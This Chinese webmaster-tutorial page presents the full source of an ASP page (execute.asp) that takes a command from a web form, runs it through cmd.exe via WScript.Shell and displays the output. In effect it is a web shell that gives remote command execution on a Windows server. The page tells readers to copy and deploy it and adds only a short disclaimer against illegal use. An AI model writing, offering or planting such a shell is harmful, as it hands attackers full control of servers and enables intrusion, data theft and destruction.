您当前的位置: 首页 > 网站编程 > ASP教程 > 在ASP执行系统命令的代码

在ASP执行系统命令的代码

作者:admin 来源:不详 发布时间: 2008-06-04 08:50 点击:
注意的是,程序运行必须有FileSystemObject支持。以下是远程执行命令的原代码。 copy下来另存为execute.asp. <html> <head> <metahttp-equiv=Content-Languagecontent=zh-cn> <metahttp-equiv=Content-Typecontent=text/html;charset=gb2312> <metan

在ASP执行系统命令的代码

    注意的是,程序运行必须有FileSystemObject支持。以下是远程执行命令的原代码。 
copy下来另存为execute.asp. 
<html> 
<head> 
<meta http-equiv="Content-Language" content="zh-cn"> 
<meta http-equiv="Content-Type" content="text/html; charset=gb2312"> 
<meta name="GENERATOR" content="Microsoft FrontPage 4.0"> 
<meta name="ProgId" content="FrontPage.Editor.Document"> 
<title>执行命令</title> 
<style> 
<!-- 
table,body{ font-family: 宋体; font-size: 9pt } 
a{ font-family: 宋体; font-size: 9pt; color: rgb(0,32,64); 
text-decoration: none } 
a:hover{ font-family: 宋体; color: rgb(255,0,0); text-decoration: none 

a:visited{ color: rgb(128,0,0) } 
--> 
</style> 
</head> 
<body bgcolor="#000000" text="#C0C0C0"> 
<form method="POST" action="execute.asp"> 
<p align="left">输入要执行的命令:<input type="text" name="ml" 
size="20" value="dir c:\" style="background-color: #C0C0C0; color: 
#000000; border-style: solid; border-width: 1"> 
<input type="submit" value="执行" name="B1" style="background-color: 
#C0C0C0; color: #000000; border: 1 groove #C0C0C0"></p> 
</form> 
<% 
ml=request.form("ml") 
cmd="c:\winnt\system32\cmd.exe /c "&ml&" >c:\whoamI.txt" ’修改 
whoamI.txt路径到一个有写权限的目录 
Set WShShell = Server.CreateObject("WScript.Shell") 
RetCode = WShShell.Run(cmd, 1, True) 
if RetCode = 0 Then 
Response.write ml & " " 
Response.write " 命令成功执行!"&"<br><br>" 
else 
Response.write " 命令执行失败!权限不够或者该程序无法在DOS状态下运行 

!"&"<br><br>" 
end if 
’response.write cmd 

function htmlencode(str) 
dim result 
dim l 
if isNULL(str) then 
htmlencode="" 
exit function 
end if 
l=len(str) 
result="" 
dim i 
for i = 1 to l 
select case mid(str,i,1) 
case "<" 
result=result+"<" 
case ">" 
result=result+">" 
case chr(34) 
result=result+""" 
case "&" 
result=result+"&" 
case else 
result=result+mid(str,i,1) 
end select 
next 
htmlencode=result 
end function 
Set fs =CreateObject("Scripting.FileSystemObject") 
Set thisfile = fs.OpenTextFile("c:/whoamI.txt", 1, False) ’读文件,别忘 

了修改路径. 
counter=0 
do while not thisfile.atendofstream 
counter=counter+1 
thisline=htmlencode(thisfile.readline) 
response.write thisline&"<br>" 
loop 
thisfile.Close 
set fs=nothing 
%> 

</body> 
</html> 
    请勿将此程序用于非法途径,由此引起的一切后果由使用者承担。 
分享到:
本文"在ASP执行系统命令的代码"由远航站长收集整理而来,仅供大家学习与参考使用。更多网站制作教程尽在远航站长站。
顶一下
(0)
0%
踩一下
(0)
0%
[点击 次] [返回上一页] [打印]
发表评论
请自觉遵守互联网相关的政策法规,严禁发布色情、暴力、反动的言论。
评价:
表情:
用户名: 密码: 验证码:
关于本站 - 联系我们 - 网站声明 - 友情连接- 网站地图 - 站点地图 - 返回顶部
Copyright © 2007-2013 www.yhzhan.com(远航站长). All Rights Reserved .
远航站长:为中小站长提供最佳的学习与交流平台,提供网页制作与网站编程等各类网站制作教程.
官方QQ:445490277 网站群:26680406 网站备案号:豫ICP备07500620号-4